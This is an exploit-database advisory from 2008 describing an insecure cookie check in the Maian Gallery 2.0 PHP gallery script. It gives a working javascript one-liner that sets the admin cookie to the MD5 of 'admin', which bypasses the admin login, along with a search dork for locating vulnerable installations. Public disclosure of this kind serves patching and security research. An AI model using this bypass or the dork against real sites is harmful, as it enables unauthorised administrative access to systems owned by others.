Maian Gallery 2.0 - Insecure Cookie Handling

EDB-ID:

6049

CVE:

N/A


Author:

Saime

Type:

webapps


Platform:

PHP

Date:

2008-07-12


Author: Saime
Date: July 12, 2008
Script: Maian Gallery v2.0 Insecure Cookie Handling Vulnerability
URL: http://www.maianscriptworld.co.uk
Dork: Maian Gallery v2.0 Copyright © 2006-2008 Maian Script World. All Rights Reserved.

Description:
Maian Gallery v2.0 is suffering from insecure cookie handling, the /admin/index.php only checks if cookie mgallery_admin_cookie,
equals admin username(md5)

Exploit:
javascript:document.cookie = "mgallery_admin_cookie=21232f297a57a5a743894a0e4a801fc3; path=/php/demos/mgallery/admin/"

Note:
The cookie value must be md5(the username). For example, 21232f297a57a5a743894a0e4a801fc3 = admin

# milw0rm.com [2008-07-12]